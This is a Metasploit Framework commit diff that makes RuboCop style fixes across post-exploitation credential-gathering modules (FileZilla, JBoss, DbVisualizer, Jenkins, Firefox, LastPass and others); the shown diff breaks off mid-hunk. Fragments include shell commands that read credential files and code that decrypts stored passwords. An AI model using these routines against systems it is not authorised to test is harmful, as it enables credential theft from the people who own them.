Land #20107, modules/post/multi/gather: Resolve RuboCop violations
This commit is contained in:
@@ -32,6 +32,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_sys_config_getuid
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -241,7 +246,7 @@ class MetasploitModule < Msf::Post
|
||||
store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue ::Exception => e
|
||||
rescue StandardError => e
|
||||
print_error("Failed to download #{fname}: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
|
||||
@@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post
|
||||
'SessionTypes' => %w[shell meterpreter],
|
||||
'References' => [
|
||||
[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
|
||||
]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@@ -29,7 +29,12 @@ class MetasploitModule < Msf::Post
|
||||
'References' => [
|
||||
[ 'URL', 'http://s3tools.org/kb/item14.htm' ],
|
||||
[ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ]
|
||||
]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'osx', 'win', 'linux' ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -28,7 +33,6 @@ class MetasploitModule < Msf::Post
|
||||
[
|
||||
OptString.new('APIKEY', [true, 'VirusTotal API key', '501caf66349cc7357eb4398ac3298fdd03dec01a3e2f3ad576525aa7b57a1987']),
|
||||
OptString.new('REMOTEFILE', [true, 'A file to check from the remote machine'])
|
||||
|
||||
]
|
||||
)
|
||||
end
|
||||
@@ -43,11 +47,11 @@ class MetasploitModule < Msf::Post
|
||||
# The supplied module name is ambiguous: undefined method `register_autofilter_ports'
|
||||
#
|
||||
url = URI.parse('https://www.virustotal.com/vtapi/v2/file/report')
|
||||
req = Net::HTTP::Post.new(url.path, initheader = { 'Host' => 'www.virustotal.com' })
|
||||
req = Net::HTTP::Post.new(url.path, { 'Host' => 'www.virustotal.com' })
|
||||
req.set_form_data({ 'apikey' => api_key, 'resource' => checksum })
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
http.use_ssl = true
|
||||
res = http.start { |http| http.request(req) }
|
||||
res = http.start { |h| h.request(req) }
|
||||
|
||||
unless res
|
||||
print_error("#{rhost} - Connection timed out")
|
||||
|
||||
@@ -15,7 +15,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],
|
||||
'Platform' => %w[linux unix bsd osx windows],
|
||||
'SessionTypes' => %w[meterpreter shell]
|
||||
'SessionTypes' => %w[meterpreter shell],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -186,7 +191,7 @@ class MetasploitModule < Msf::Post
|
||||
# Kills spawned chrome process in windows meterpreter sessions.
|
||||
# In OSX and Linux the meterpreter sessions would stop as well.
|
||||
if session.platform == 'windows'
|
||||
kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
|
||||
cmd_exec "#{kill_cmd} #{chrome_pid}"
|
||||
end
|
||||
else
|
||||
# Using shell_command for backgrounding process (&)
|
||||
|
||||
@@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_sys_config_getenv
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -37,7 +42,7 @@ class MetasploitModule < Msf::Post
|
||||
[
|
||||
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
|
||||
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
|
||||
], super.class
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
@@ -138,6 +143,7 @@ class MetasploitModule < Msf::Post
|
||||
db = {}
|
||||
dbfound = false
|
||||
version_found = false
|
||||
|
||||
# fetch config file
|
||||
raw_xml.each_line do |line|
|
||||
if version_found == false
|
||||
@@ -155,7 +161,7 @@ class MetasploitModule < Msf::Post
|
||||
db[:Namespace] = ''
|
||||
end
|
||||
# save
|
||||
dbs << db if (db[:Alias] && db[:Type] && db[:Server] && db[:Port])
|
||||
dbs << db if db[:Alias] && db[:Type] && db[:Server] && db[:Port]
|
||||
db = {}
|
||||
end
|
||||
|
||||
@@ -204,21 +210,31 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
# Fill the tab and report eligible servers
|
||||
dbs.each do |db|
|
||||
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
|
||||
print_good("Reporting #{db[:Server]}")
|
||||
report_host(host: db[:Server])
|
||||
dbs.each do |database|
|
||||
if ::Rex::Socket.is_ipv4?(database[:Server].to_s)
|
||||
print_good("Reporting #{database[:Server]}")
|
||||
report_host(host: database[:Server])
|
||||
end
|
||||
|
||||
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
|
||||
db_table << [
|
||||
database[:Alias],
|
||||
database[:Type],
|
||||
database[:Server],
|
||||
database[:Port],
|
||||
database[:Database],
|
||||
database[:Namespace],
|
||||
database[:UserID],
|
||||
database[:Password]
|
||||
]
|
||||
report_cred(
|
||||
ip: db[:Server],
|
||||
port: db[:Port].to_i,
|
||||
service_name: db[:Type],
|
||||
username: db[:UserID],
|
||||
password: db[:Password]
|
||||
ip: database[:Server],
|
||||
port: database[:Port].to_i,
|
||||
service_name: database[:Type],
|
||||
username: database[:UserID],
|
||||
password: database[:Password]
|
||||
)
|
||||
end
|
||||
|
||||
return db_table
|
||||
end
|
||||
|
||||
@@ -245,7 +261,7 @@ class MetasploitModule < Msf::Post
|
||||
# fetch config file
|
||||
raw_xml.each_line do |line|
|
||||
if version_found == false
|
||||
vesrion_found = find_version(line)
|
||||
version_found = find_version(line)
|
||||
end
|
||||
|
||||
if line =~ /<Database id=/
|
||||
@@ -253,7 +269,7 @@ class MetasploitModule < Msf::Post
|
||||
elsif line =~ %r{</Database>}
|
||||
dbfound = false
|
||||
# save
|
||||
dbs << db if (db[:Alias] && db[:Url])
|
||||
dbs << db if db[:Alias] && db[:Url]
|
||||
db = {}
|
||||
end
|
||||
|
||||
@@ -287,33 +303,40 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
# Fill the tab
|
||||
dbs.each do |db|
|
||||
if (db[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
|
||||
dbs.each do |database|
|
||||
if (database[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
|
||||
server = ::Regexp.last_match(1)
|
||||
if ::Rex::Socket.is_ipv4?(server)
|
||||
print_good("Reporting #{server}")
|
||||
report_host(host: server)
|
||||
end
|
||||
end
|
||||
db_table << [ db[:Alias], db[:Type], db[:URL], db[:UserID], db[:Password] ]
|
||||
db_table << [
|
||||
database[:Alias],
|
||||
database[:Type],
|
||||
database[:URL],
|
||||
database[:UserID],
|
||||
database[:Password]
|
||||
]
|
||||
report_cred(
|
||||
ip: server,
|
||||
port: '',
|
||||
service_name: db[:Type],
|
||||
username: db[:UserID],
|
||||
password: db[:Password]
|
||||
service_name: database[:Type],
|
||||
username: database[:UserID],
|
||||
password: database[:Password]
|
||||
)
|
||||
end
|
||||
|
||||
return db_table
|
||||
end
|
||||
|
||||
def find_version(tag)
|
||||
found = false
|
||||
if tag =~ %r{<Version>([\S+\s+]+)</Version>}i
|
||||
found = true
|
||||
print_good("DbVisualizer version: #{::Regexp.last_match(1)}")
|
||||
return true
|
||||
end
|
||||
found
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
@@ -349,7 +372,7 @@ class MetasploitModule < Msf::Post
|
||||
des.decrypt
|
||||
des.key = dk
|
||||
des.iv = iv
|
||||
password = des.update(enc_password) + des.final
|
||||
des.update(enc_password) + des.final
|
||||
end
|
||||
|
||||
def get_derived_key
|
||||
|
||||
@@ -16,18 +16,21 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => %w[bsd linux osx solaris win],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
|
||||
OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']),
|
||||
OptPath.new('NAMELIST', [
|
||||
true, 'List of hostnames or subdomains to use.',
|
||||
::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')
|
||||
])
|
||||
|
||||
]
|
||||
)
|
||||
end
|
||||
@@ -92,12 +95,12 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
# Process the data returned by the host command
|
||||
def process_nix(r, ns_opt)
|
||||
r.each_line do |l|
|
||||
data = l.scan(/(\S*) has address (\S*)$/)
|
||||
next if data.empty?
|
||||
def process_nix(data, ns_opt)
|
||||
data.each_line do |line|
|
||||
dns_data = line.scan(/(\S*) has address (\S*)$/)
|
||||
next if dns_data.empty?
|
||||
|
||||
data.each do |e|
|
||||
dns_data.each do |e|
|
||||
print_good("#{ns_opt} #{e[1]}")
|
||||
report_host(host: e[1], name: ns_opt.strip)
|
||||
end
|
||||
|
||||
@@ -16,19 +16,21 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => %w[bsd linux osx solaris win],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
|
||||
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.'])
|
||||
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
iprange = datastore['RHOSTS']
|
||||
print_status("Performing DNS Reverse Lookup for IP range #{iprange}")
|
||||
|
||||
@@ -17,7 +17,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => %w[bsd linux osx solaris win],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
@@ -156,7 +161,6 @@ class MetasploitModule < Msf::Post
|
||||
def get_ip(host)
|
||||
ip_add = []
|
||||
cmd_exec('host', " #{host}").each_line do |l|
|
||||
ip = ''
|
||||
ip = l.scan(/has address (\S*)$/).join
|
||||
ip_add << ip if ip != ''
|
||||
end
|
||||
|
||||
@@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Flibustier'],
|
||||
'Platform' => %w[bsd linux osx unix],
|
||||
'SessionTypes' => ['shell']
|
||||
'SessionTypes' => ['shell'],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -21,7 +21,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['theLightCosine'],
|
||||
'Platform' => %w[bsd linux osx unix win],
|
||||
'SessionTypes' => ['shell', 'meterpreter' ]
|
||||
'SessionTypes' => ['shell', 'meterpreter' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -19,7 +19,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
|
||||
'Platform' => %w[bsd linux osx unix],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
@@ -86,7 +91,7 @@ class MetasploitModule < Msf::Post
|
||||
# been found, then save if there is enough to save
|
||||
parse_fetchmailrc_line(line).each do |cred|
|
||||
cred = defaults.merge(cred)
|
||||
if (cred[:host] && cred[:protocol])
|
||||
if cred[:host] && cred[:protocol]
|
||||
if (cred[:users].size == cred[:passwords].size)
|
||||
cred[:users].each_index do |i|
|
||||
cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
|
||||
@@ -157,7 +162,7 @@ class MetasploitModule < Msf::Post
|
||||
cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')
|
||||
cred[:protocol] = 'esmtp'
|
||||
# save the ESMTP credentials if we've found enough
|
||||
creds << cred if (cred[:users] && cred[:passwords] && cred[:host])
|
||||
creds << cred if cred[:users] && cred[:passwords] && cred[:host]
|
||||
# return all found credentials
|
||||
creds
|
||||
end
|
||||
|
||||
@@ -34,6 +34,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_sys_config_getuid
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -151,15 +156,15 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
paths.each do |path|
|
||||
print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")
|
||||
|
||||
# @todo use File.read_file
|
||||
if session.type == 'shell'
|
||||
type = :shell
|
||||
sites = session.shell_command("cat #{path}/sitemanager.xml")
|
||||
recents = session.shell_command("cat #{path}/recentservers.xml")
|
||||
print_status("recents: #{recents}")
|
||||
creds = [parse_accounts(sites)]
|
||||
creds << parse_accounts(recents) unless recents =~ /No such file/i
|
||||
else
|
||||
type = :meterp
|
||||
sitexml = "#{path}\\sitemanager.xml"
|
||||
present = begin
|
||||
session.fs.file.stat(sitexml)
|
||||
@@ -192,14 +197,9 @@ class MetasploitModule < Msf::Post
|
||||
print_status('No recent connections where found.')
|
||||
end
|
||||
end
|
||||
|
||||
creds.each do |cred|
|
||||
cred.each do |loot|
|
||||
if session.db_record
|
||||
source_id = session.db_record.id
|
||||
else
|
||||
source_id = nil
|
||||
end
|
||||
|
||||
report_cred(
|
||||
ip: loot['host'],
|
||||
port: loot['port'],
|
||||
@@ -286,12 +286,13 @@ class MetasploitModule < Msf::Post
|
||||
creds << account
|
||||
|
||||
print_status(' Collected the following credentials:')
|
||||
print_status(' Server: %s:%s' % [account['host'], account['port']])
|
||||
print_status(' Protocol: %s' % account['protocol'])
|
||||
print_status(' Username: %s' % account['user'])
|
||||
print_status(' Password: %s' % account['password'])
|
||||
print_line('')
|
||||
print_status(" Server: #{account['host']}:#{account['port']}")
|
||||
print_status(" Protocol: #{account['protocol']}")
|
||||
print_status(" Username: #{account['user']}")
|
||||
print_status(" Password: #{account['password']}")
|
||||
print_line
|
||||
end
|
||||
|
||||
return creds
|
||||
end
|
||||
|
||||
|
||||
@@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_fs_search
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -3,20 +3,9 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
#
|
||||
# Standard Library
|
||||
#
|
||||
require 'tmpdir'
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
require 'zip'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -68,6 +57,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_sys_process_kill
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -455,7 +449,7 @@ class MetasploitModule < Msf::Post
|
||||
rescue StandardError
|
||||
print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
|
||||
print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version')
|
||||
return false
|
||||
break
|
||||
end
|
||||
fdata
|
||||
end
|
||||
|
||||
@@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post
|
||||
'Henry Hoggard' # Add GPG 2.1 keys, stop writing empty files
|
||||
],
|
||||
'Platform' => %w[bsd linux osx unix],
|
||||
'SessionTypes' => ['shell', 'meterpreter']
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -23,7 +23,12 @@ class MetasploitModule < Msf::Post
|
||||
],
|
||||
'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
|
||||
'SessionTypes' => ['meterpreter', 'shell'],
|
||||
'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ]
|
||||
'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -133,7 +138,7 @@ class MetasploitModule < Msf::Post
|
||||
create_credential(credential_data)
|
||||
end
|
||||
|
||||
@pass_hash.each do |_index, pass|
|
||||
@pass_hash.each_value do |pass|
|
||||
credential_data = {
|
||||
origin_type: :session,
|
||||
post_reference_name: refname,
|
||||
|
||||
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
|
||||
],
|
||||
'Platform' => %w[bsd linux osx unix],
|
||||
'SessionTypes' => %w[shell],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -13,20 +13,25 @@ class MetasploitModule < Msf::Post
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Jboss Credential Collector',
|
||||
'Name' => 'JBoss Credential Collector',
|
||||
'Description' => %q{
|
||||
This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
|
||||
This module can be used to extract the JBoss admin passwords for version 4, 5 and 6.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Koen Riepe (koen.riepe@fox-it.com)' ],
|
||||
'Platform' => [ 'linux', 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def report_creds(user, pass, port)
|
||||
return if (user.empty? || pass.empty?)
|
||||
return if user.empty? || pass.empty?
|
||||
|
||||
# Assemble data about the credential objects we will be creating
|
||||
credential_data = {
|
||||
@@ -41,7 +46,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
if !port.is_a? Integer
|
||||
if !port.is_a?(Integer)
|
||||
print_error('Failed to detect port, defaulting to 8080 for creds database')
|
||||
port = 8080
|
||||
end
|
||||
@@ -101,7 +106,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
if version != 'NONE'
|
||||
print_status("Found a Jboss installation version: #{version}")
|
||||
print_status("Found a JBoss installation version: #{version}")
|
||||
home = readhome(cmd_exec('printenv').split("\n"))
|
||||
pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"), home, version)
|
||||
listenports = getports(version)
|
||||
@@ -128,7 +133,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
end
|
||||
if version != 'NONE'
|
||||
print_status("Found a Jboss installation version: #{version}")
|
||||
print_status("Found a JBoss installation version: #{version}")
|
||||
instances = wingetinstances(home, version)
|
||||
pwfiles = winpwfiles(instances)
|
||||
listenports = wingetport(instances)
|
||||
@@ -165,7 +170,7 @@ class MetasploitModule < Msf::Post
|
||||
type1.each do |file1|
|
||||
next unless file1 && file1.include?(version)
|
||||
|
||||
print_status("Attempting to extract Jboss service ports from: #{file1}")
|
||||
print_status("Attempting to extract JBoss service ports from: #{file1}")
|
||||
begin
|
||||
file1_read = read_file(file1).split("\n")
|
||||
rescue StandardError
|
||||
@@ -177,13 +182,13 @@ class MetasploitModule < Msf::Post
|
||||
file1_read.each do |line|
|
||||
if line.strip.include? 'deploy/httpha-invoker.sar'
|
||||
parse = true
|
||||
elsif ((line.strip == '</bean>') && portfound)
|
||||
elsif (line.strip == '</bean>') && portfound
|
||||
parse = false
|
||||
elsif parse && line.include?('<property name="port">')
|
||||
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
|
||||
port.push(portnr)
|
||||
portfound = true
|
||||
print_good("Jboss port found: #{portnr}")
|
||||
print_good("JBoss port found: #{portnr}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -191,7 +196,7 @@ class MetasploitModule < Msf::Post
|
||||
type2.each do |file2|
|
||||
next unless file2 && file2.include?(version)
|
||||
|
||||
print_status("Attempting to extract Jboss service ports from: #{file2}")
|
||||
print_status("Attempting to extract JBoss service ports from: #{file2}")
|
||||
begin
|
||||
xml2 = Nokogiri::XML(read_file(file2))
|
||||
rescue StandardError
|
||||
@@ -203,7 +208,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
portnr = connector['port'].to_i
|
||||
port.push(portnr)
|
||||
print_good("Jboss port found: #{portnr}")
|
||||
print_good("JBoss port found: #{portnr}")
|
||||
break
|
||||
end
|
||||
end
|
||||
@@ -211,8 +216,8 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def gathernix
|
||||
print_status('Unix OS detected, attempting to locate Jboss services')
|
||||
version = getversion(cmd_exec('locate jar-versions.xml').split("\n"))
|
||||
print_status('Unix OS detected, attempting to locate JBoss services')
|
||||
getversion(cmd_exec('locate jar-versions.xml').split("\n"))
|
||||
end
|
||||
|
||||
def winhome
|
||||
@@ -221,7 +226,7 @@ class MetasploitModule < Msf::Post
|
||||
exec.each do |line|
|
||||
next unless line.downcase.include?('java.exe') && line.downcase.include?('jboss')
|
||||
|
||||
print_status('Jboss service found')
|
||||
print_status('JBoss service found')
|
||||
parse = line.split('-classpath "')[1].split('\\bin\\')[0]
|
||||
if parse[0] == ';'
|
||||
home.push(parse.split(';')[1])
|
||||
@@ -273,33 +278,33 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
if file1
|
||||
print_status("Attempting to extract Jboss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
|
||||
print_status("Attempting to extract JBoss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
|
||||
parse = false
|
||||
portfound = false
|
||||
file1.each do |line|
|
||||
if line.strip.include? 'deploy/httpha-invoker.sar'
|
||||
parse = true
|
||||
elsif ((line.strip == '</bean>') && portfound)
|
||||
elsif (line.strip == '</bean>') && portfound
|
||||
parse = false
|
||||
elsif parse && line.include?('<property name="port">')
|
||||
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
|
||||
port.push(portnr)
|
||||
portfound = true
|
||||
print_good("Jboss port found: #{portnr}")
|
||||
print_good("JBoss port found: #{portnr}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
next unless file2
|
||||
|
||||
print_status("Attempting to extract Jboss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
|
||||
print_status("Attempting to extract JBoss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
|
||||
xml2 = Nokogiri::XML(file2)
|
||||
xml2.xpath('//Server//Connector').each do |connector|
|
||||
next unless connector['protocol'].include? 'HTTP'
|
||||
|
||||
portnr = connector['port'].to_i
|
||||
port.push(portnr)
|
||||
print_good("Jboss port found: #{portnr}")
|
||||
print_good("JBoss port found: #{portnr}")
|
||||
break
|
||||
end
|
||||
end
|
||||
@@ -308,20 +313,22 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
def gatherwin
|
||||
print_status('Windows OS detected, enumerating services')
|
||||
homeArray = winhome
|
||||
if !homeArray.empty?
|
||||
homeArray.each do |home|
|
||||
version_file = []
|
||||
version_file.push("#{home}\\jar-versions.xml")
|
||||
version = wingetversion(version_file, home)
|
||||
end
|
||||
else
|
||||
print_status('No Jboss service has been found')
|
||||
home_array = winhome
|
||||
|
||||
if home_array.empty?
|
||||
print_status('No JBoss service has been found')
|
||||
return
|
||||
end
|
||||
|
||||
home_array.each do |home|
|
||||
version_file = []
|
||||
version_file.push("#{home}\\jar-versions.xml")
|
||||
wingetversion(version_file, home)
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if sysinfo['OS'].include? 'Windows'
|
||||
if sysinfo['OS'].include?('Windows')
|
||||
gatherwin
|
||||
else
|
||||
gathernix
|
||||
|
||||
@@ -28,6 +28,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_fs_search
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -353,6 +358,7 @@ class MetasploitModule < Msf::Post
|
||||
if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')
|
||||
return datastore['JENKINS_HOME']
|
||||
end
|
||||
|
||||
print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')
|
||||
end
|
||||
|
||||
|
||||
@@ -46,6 +46,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_sys_process_memory_write
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -158,7 +163,7 @@ class MetasploitModule < Msf::Post
|
||||
account_map[account][browser]['lp_db_path'] = db_paths.first
|
||||
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
|
||||
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
|
||||
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
|
||||
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if !account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox'
|
||||
else
|
||||
account_map[account].delete(browser)
|
||||
end
|
||||
@@ -372,7 +377,7 @@ class MetasploitModule < Msf::Post
|
||||
path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
|
||||
data = read_remote_file(path) if file?(path) # Read file if it exists
|
||||
